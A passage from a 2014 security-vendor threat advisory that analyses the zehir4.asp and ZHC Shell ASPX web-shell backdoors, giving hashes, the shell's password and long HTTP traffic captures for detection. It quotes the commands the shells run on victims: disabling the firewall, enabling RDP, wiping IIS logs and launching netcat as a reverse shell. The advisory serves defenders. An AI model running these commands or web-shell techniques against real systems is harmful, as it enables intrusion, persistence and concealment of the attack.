Add a user to the system - Add a user to the administrators group - Disable the windows firewall - Enable RDP - Delete IIS logs - Start the netcat utility as a reverse backdoor shell Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 6 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Obtain reverse shell capabilities through the interface The script was found in Virustotal: - https://www.virustotal.com/en/file/cc608a7103d320eff5e02a220b309df948df60efd177c9a670f186d42 48f7e42/analysis/1392942504/ Filename ZHC_Shell_1.0.aspx MD5 99c056056df9104fc547d9d274bbc8a2 SHA-1 917f80730fcd158a5203c37a289bd7542670dd50 SHA-256 cc608a7103d320eff5e02a220b309df948df60efd177c9a670f186d4248f7e42 ssdeep 768:zeRDcOFZ4r1UFT0KHtecv7kpEwa2IiFJPGOut3/Rj0Dkb/zH:aRDcOw5URx EcvY1a2IiFZGOut3/Rj0D7 Size 36.9 KB (37770 bytes) Type Java Magic ASCII Java program text, with very long lines TrID file seems to be plain text/ASCII (0.0) Detection ratio 12/50 First submission 2014-02-21 00:28:24 UTC ( 2 minutes ago ) Last submission 2014-02-21 00:28:24 UTC ( 2 minutes ago ) The script was also found in Pastebin: - Posted on 17-MAR-2013 hxxp://pastebin.com/XAG1Hnfd The following is going to be a set of screenshots of the backdoor interface.
Through these screenshots, you will observe how like all good developers, the author of this backdoor tries to make it as easy as possible for the attacker to perform certain actions in the victim system: - Window displayed when the script when it is first accessed Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 7 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 When the default password is entered (XXx_Death_xXX), the following window is displayed: Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 8 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the SQL Command option is selected (This window allows the attacker to connect to the database and send commands) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 9 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the Command Line option is selected and the following is type: dir c:\inetpub\wwwroot\: (This window allows the attacker to obtain a reverse shell like capability) - Window displayed when the System Information option is selected Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 10 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the Add User option is selected - Window displayed when the Add User To Administrators Group option is selected removed_by_analyst Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 11 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - Window displayed when the Disable Windows Firewall option is selected (Command to be executed in the victim system: reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0x0 /f) - Window displayed when the Enable RDP option is selected Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 12 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 (Command to be executed in the victim system: reg add hklm\system\currentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0x0 /f) - Window displayed when the Wipe IIS Logs option is selected (Command to be executed in the victim system: del C:\WINDOWS\system32\LogFiles\W3SVC1\.log) - Window displayed when the Start NC (netcat) option is selected (To start the netcat utility as a reverse backdoor shell) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 13 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Risk Assessment A backdoor is a method of bypassing normal authentication procedures.
Once a system has been compromised, the attacker may install one or more backdoors.
These backdoors provide a persistent foothold allowing easier access in the future.
This particular backdoor, lets the attacker obtain system information, connect to SQL databases, list tables and execute commands, browse directories, perform file manipulations (upload, download, copy, delete, modify, searches, etc.
),
and perform folder manipulations (delete, copy, etc.
).
Indicators and Mitigation Strategies The following will present some of the network traffic observed when different options were selected from the ASP Shell Backdoors.
These artifacts will hopefully assist the network defenders and the research community with generation of network signatures to detect this threat.
ASP Shell Backdoor: ZEHIR4.ASP - Backdoor script first accessed GET /zehir4.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 04:56:13 GMT X-Powered-By: ASP.NET Content-Length: 11480 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSCDSDDDJIKFODEDDBNCNBBCNLEIDBNF path/ Cache-control: private titlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/title center a hrefzehir4.asp?mevla1status13 onclicksistemBilgisi(this.href)return falseSystem Info/a font coloryellow  /font a hrefzehir4.asp?mevla1status40 onclicksistemTest(this.href)return falseSystem Test/a font coloryellow  /font a hrefzehir4.asp?mevla1status50pathc:\inetpub\wwwroot\ onclickSitelerTestte(this.href)return falseSites Test/a font coloryellow  /font Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 14 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 a hrefzehir4.asp?mevla1status14pathc:\inetpub\wwwroot\ onclickklasorIslemleri(this.href)return falseFolder Action/a font coloryellow  /font a hrefzehir4.asp?mevla1status15 onclicksqlServer(this.href)return falseSQL Server/a font coloryellow  /font a hrefzehir4.asp?mevla1status33 onclickpoweredby(this.href)return falsePOWERED BY/a script languagejavascript function sistemBilgisi(yol) NewWindow(yol,,600,240,no) ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- - System Info GET /zehir4.asp?mevla1status13 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDDJIKFODEDDBNCNBBCNLEIDBNF ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:07:29 GMT X-Powered-By: ASP.NET Content-Length: 1663 Content-Type: text/html Cache-control: private titlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/titletable width100 cellpadding0 cellspacing0trtd colspan2 aligncenterfont coloryellow facecourier newbfont styleFONT-WEIGHT:normal colorred facewingdings:/font Sistem Bilgileri font colorred facewingdings styleFONT- WEIGHT:normal:/font/td/trtrtdbfont colorredLocal Adres/tdtd 192.168.1.100/td/trtrtdbfont colorredUser Agent/tdtd Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C)/td/trtrtdbfont colorredServer/tdtd 192.168.1.1/td/trtrtdbfont colorredIP/tdtd 192.168.1.1/td/trtrtdbfont colorredHTTPD/tdtd Microsoft- IIS/5.1/td/trtrtdbfont colorredPort/tdtd 80/td/trtrtdbfont colorredYol/tdtd c:\inetpub\wwwroot\/td/trtrtdbfont colorredLog Root/tdtd /LM/W3SVC/1/ROOT/td/trtrtdbfont colorredHTTPS/tdtd off/td/tr/table script languagejavascript function NewWindow(mypage, myname, w, h, scroll) var winl  (screen.width - w) / 2 var wint  (screen.height - h) / 2 winprops heighth,widthw,topwint,leftwinl,scrollbarsscroll,resizable win  window.open(mypage, myname, winprops) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 15 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 if (parseInt(navigator.appVersion)  4)  win.window.focus()  function ffd(yol) NewWindow(yol,,420,100,no)  /script body bgcolorblack textChartreuse linkChartreuse alinkChartreuse vlinkChartreuse /tr/table - System Test GET /zehir4.asp?mevla1status40 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDDJIKFODEDDBNCNBBCNLEIDBNF ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:11:56 GMT X-Powered-By: ASP.NET Content-Length: 1284 Content-Type: text/html Cache-control: private titlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/titletable width100 aligncenter cellpadding0 cellspacing0 border1tr bgcolorffffc0td width30 aligncenterfont colornavybKonum/tdtd width70 aligncenterfont colornavybSonu./td/trtrtdbC:\/tdtdfont colorredyazma yetkisi yok : [Object required]/td/trtrtdbLocal Path /tdtdfont colorredyazma yetkisi yok : [Object required]/td/trtrtdbLocal Path brParent Folder/tdtdfont coloryellowFolder : 5brFile : 0/td/trtrtdbLocal Path brP.Parent Folder/tdtdfont coloryellowFolder : 11brFile : 10/td/tr/table script languagejavascript function NewWindow(mypage, myname, w, h, scroll) var winl  (screen.width - w) / 2 var wint  (screen.height - h) / 2 winprops heighth,widthw,topwint,leftwinl,scrollbarsscroll,resizable win  window.open(mypage, myname, winprops) if (parseInt(navigator.appVersion)  4)  win.window.focus()  function ffd(yol) NewWindow(yol,,420,100,no)  /script body bgcolorblack textChartreuse linkChartreuse alinkChartreuse vlinkChartreuse /tr/table Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 16 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 - SQL Server GET /zehir4.asp?mevla1status15 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDDJIKFODEDDBNCNBBCNLEIDBNF ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:18:07 GMT X-Powered-By: ASP.NET Content-Length: 1169 Content-Type: text/html Cache-control: private titlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/titleform methodget action target_opener idform1 nameform1table cellpadding0 cellspacing0 aligncentertrtd aligncenterfont size2SQL Server i.in connection string giriniz/td/trtrtd aligncenterinput typehidden value7 namestatusinput typehidden value12:18:07 AM nameTimeinput stylewidth:250 height:21 value namepathbrinput typesubmit valueSQL Servera Ba.lan styleheight:23width:170 idsubmit1 namesubmit1/td/tr/table/form script languagejavascript function NewWindow(mypage, myname, w, h, scroll) var winl  (screen.width - w) / 2 var wint  (screen.height - h) / 2 winprops heighth,widthw,topwint,leftwinl,scrollbarsscroll,resizable win  window.open(mypage, myname, winprops) if (parseInt(navigator.appVersion)  4)  win.window.focus()  function ffd(yol) NewWindow(yol,,420,100,no)  /script body bgcolorblack textChartreuse linkChartreuse alinkChartreuse vlinkChartreuse /tr/table Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 17 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Network traffic observed when the following fake connection string is written in the box and the button is pressed: ServermyServerName\myInstanceNameDatabasemyDataBaseUser IdmyUsername PasswordmyPassword GET /zehir4.asp?status7Time123A183A07AMpathServer3DmyServerName5CmyInsta nceName3BDatabase3DmyDataBase3BUserId3DmyUsername3Bsubmit1SQLServ eraBaF0lan HTTP/1.1 Accept: / Referer: http://192.168.1.1/zehir4.asp?mevla1status15 Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDDJIKFODEDDBNCNBBCNLEIDBNF - A file named TEST_FILE.txt is open for edit GET /zehir4.asp?status10dPathC:\Inetpub\wwwroot\TEST_FILE.txtpathc:\inetpub\wwwroot\Ti me10:26:2520AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDQQQDQQRRNNJJONABAFAKHJEDJMMCNDBI ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 15:26:52 GMT X-Powered-By: ASP.NET Content-Length: 3901 Content-Type: text/html Cache-control: private titlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/title center a hrefzehir4.asp?mevla1status13 onclicksistemBilgisi(this.href)return falseSystem Info/a font coloryellow  /font Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 18 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 a hrefzehir4.asp?mevla1status40 onclicksistemTest(this.href)return falseSystem Test/a font coloryellow  /font a hrefzehir4.asp?mevla1status50pathc:\inetpub\wwwroot\ onclickSitelerTestte(this.href)return falseSites Test/a font coloryellow  /font a hrefzehir4.asp?mevla1status14pathc:\inetpub\wwwroot\ onclickklasorIslemleri(this.href)return falseFolder Action/a font coloryellow  /font a hrefzehir4.asp?mevla1status15 onclicksqlServer(this.href)return falseSQL Server/a font coloryellow  /font a hrefzehir4.asp?mevla1status33 onclickpoweredby(this.href)return falsePOWERED BY/a ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- body bgcolorblack textChartreuse linkChartreuse alinkChartreuse vlinkChartreuse form methodget actiontable border1 cellpadding0 cellspacing0 aligncentertrtd bgcolorgray width100font size2Path : /tdtdinput typehidden value2 namestatusinput typehidden value10:26:52 AM nameTimeinput stylewidth:350 height:21 valuec:\inetpub\wwwroot\ namePathinput typesubmit valueGit styleheight:22width:70 idsubmit1 namesubmit1/td/tr/table/formbrcenterform action?Time10:26:52 AM methodpostinput typehidden namestatus value11input typehidden namedPath valueC:\Inetpub\wwwroot\TEST_FILE.txtinput typehidden namePath  valuec:\inetpub\wwwroot\input typesubmit valueKaydetbrtextarea namedkayit stylewidth:90height:350border-right: lightgoldenrodyellow thin solidborder-top: lightgoldenrodyellow thin solidfont-size: 12border-left: lightgoldenrodyellow thin solidcolor: lime border-bottom: lightgoldenrodyellow thin solid    font-family: Courier New, Arialbackground-color: navyTHIS IS THE CONTENT OF THE quotTEST_FILE.TXTquot./textarea/form/center/tr/tablescript languagejavascript .var dosyaPath  zehir4.asp ..// DRIVE ISLEMLERI ..function driveGo(drive_) ...location  dosyaPath?status1pathdrive_TimeDate() .. ./script .table aligncenter border1 width150 cellpadding0 cellspacing0tr bgcolorgraytd aligncenterbfont colorwhiteS.r.c.ler/td/trtrtda hrefonClickdriveGo(A)return falsefont facewingdings/fontFloppy [A:]/a/td/trtrtda hrefonClickdriveGo(C)return falsefont facewingdings/fontHardDisk [C:]/a/td/trtrtda hrefonClickdriveGo(D)return falsefont facewingdings/fontCD-Rom [D:]/a/td/trtrtda hrefzehir4.asp?time10:26:52 AMfont facewebdingsH/font Local Path/a/td/tr/tablebr When the following data is added to the TEST_FILE.txt file opened for edit: Hacked by STTEAM POST /zehir4.asp?Time11:19:5220AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/zehir4.asp?status10dPathC:\Inetpub\wwwroot\TEST_FILE.txtpathc:\inetp ub\wwwroot\Time11:19:41 AM Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 19 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 175 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCSDRBCRCOJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---- HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:20:07 GMT X-Powered-By: ASP.NET status11dPathC3A5CInetpub5Cwwwroot5CTEST_FILE.txtPathc3A5Cinetpub 5Cwwwroot5CdkayitTHISISTHECONTENTOFTHE22TEST_FILE.TXT22.0D0 A0D0AHackedbySTTEAM21 - A file named TEST_FILE.txt is open for edit GET /zehir4.asp?status3Pathc:\inetpub\wwwroot\Delc:\inetpub\wwwroot\/TEST_FILE.txtTime11:19:412 0AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms- excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRCOJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---- HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Location: zehir4.asp?status2pathc:\inetpub\wwwroot\Time11:26:1020AMbyMsgfont20coloryellowFile 20Deleted20Successful)/fontbr Content-Length: 121 Content-Type: text/html Cache-control: private headtitleObject moved/title/head bodyh1Object Moved/h1This object may be found a HREFhere/a./body ---- REQUEST ---- GET /zehir4.asp?status2pathc:\inetpub\wwwroot\Time11:26:1020AMbyMsgfont20coloryellowFile Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 20 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 20Deleted20Successful)/fontbr HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms- excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRCOJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Content-Length: 13634 Content-Type: text/html Cache-control: private font coloryellowFile Deleted Successful)/fontbrtitlezehir3 -- powered by zehir ltzehirhackerhotmail.comgt/title ---------------------------------------- TRUNCATED BY ANALYST --------------------------------------------------- K-Shell/ZHC Shell 1.0/Aspx Shell Backdoor: ZHC_Shell_1.0.aspx - Backdoor script is first accessed GET /ZHC_Shell_1.0.aspx HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:47:52 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3387 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 21 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p div aligncenter/div style typetext/css body,td,th color: FFFFFF font-family: Comic Sans Ms  body background-image: url(http://a6.sphotos.ak.fbcdn.net/hphotos-ak- snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg) background-position: center center background-repeat: no-repeat background-color: 000000 background-attachment: fixed font-family: Comic Sans MS font-size: 16px  ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body brcenterspan classtitlebWelcome to ZCompany Hacking Crew Shell/b/span/centerbrcenterspan classstyle3Note:/span You MUST click the login button and not hit enter./centerform namectl00 methodpost actionZHC_Shell_1.0.aspx idctl00 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html The following requests will also be observed to GET the images displayed in the script: GET /img851/2304/bismillahus.jpg HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: img851.imageshack.us Connection: Keep-Alive ---------------------------------------------------------------------------------------------------------------------------------- Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 22 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 GET /hphotos-ak-snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: a6.sphotos.ak.fbcdn.net Connection: Keep-Alive When the authentication password is entered, the following traffic was observed: POST /ZHC_Shell_1.0.aspx HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 364 Connection: Keep-Alive Cache-Control: no-cache __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaSTextBoxXXx_Death_xXXButtonLogin __EVENTVALIDATION2FwEWAwLrm6SaCALs0d74CwLT2Fr7ABFDvvWKTukrGQSmJzLYU rRDsnNcaHTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:27:32 GMT X-Powered-By: ASP.NET ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:27:32 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 path/ HttpOnly Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 13845 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 23 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p div aligncenter/div style typetext/css body,td,th color: FFFFFF font-family: Comic Sans Ms  body background-image: url(http://a6.sphotos.ak.fbcdn.net/hphotos-ak- snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg) background-position: center center background-repeat: no-repeat background-color: 000000 background-attachment: fixed font-family: Comic Sans MS font-size: 16px  ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body p aligncenterCurrent Directory: font color 00FF00c:\inetpub\wwwroot\/font/p table width75  border0 aligncenter tr td width13Action:/td td width87 a href?actionnewsrcc3a5cinetpub5cwwwroot5c titleNew file or directoryNew/a a href?actionupfilesrcc3a5cinetpub5cwwwroot5c titleUpload file Upload/a a href?actiongotosrc  c:\inetpub\wwwroot titleGo to this files directory Index Root/a a href?actionlogout titleExit Exit/a/td /tr tr td Drive: /td td a href?actiongotosrcA:\A:\ /aa href?actiongotosrcC:\C:\ /aa href?actiongotosrcD:\D:\ /a /td /tr tr tdTools:/td tda href?actionsqlrootkit target_blankSQL Command/a a href?actioncmd target_blank Command Line/a a href?actioninformation target_blank System Information/a/td /tr Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 24 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 tr td width20Admin Tricks: /td td width80a href?actioncmd5 target_blankAdd User/a a href?actioncmd6 target_blank Add User To Administrators Group/a a href?actioncmd7 target_blank Disable Windows Firewall/a a href?actioncmd4 target_blank Enable RDP/a a href?actioncmd3 target_blank Wipe IIS Logs/a/td /tr tr td width20Silentzs Tricks: /td td width80a href?actioncmd2 target_blankStart NC/a/td /tr /table hr noshade width70 table width90  border0 aligncenter tr td width30strongName/strong/td td width10strongSize/strong/td td width20strongLast Modified/strong/td td width25strongAction/strong/td /tr tr tdtrtda href?actiongotosrcc3a5cinetpub5ciParent Directory/i/a/td/trtrtda href?actiongotosrcc3a5cinetpub5cwwwroot5caspnet_client\aspnet_client/a/td tdltdirgt/tdtd2/20/2014 4:35:56 PM/tdtda href?actioncutsrcc3a5cinetpub5cwwwroot5caspnet_client\ target_blankCut/aa href?actioncopysrcc3a5cinetpub5cwwwroot5caspnet_client\ target_blankCopy/aa href?actiondelsrcc3a5cinetpub5cwwwroot5caspnet_client\ onclickreturn del(this)Del/a/td/tr ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- tda 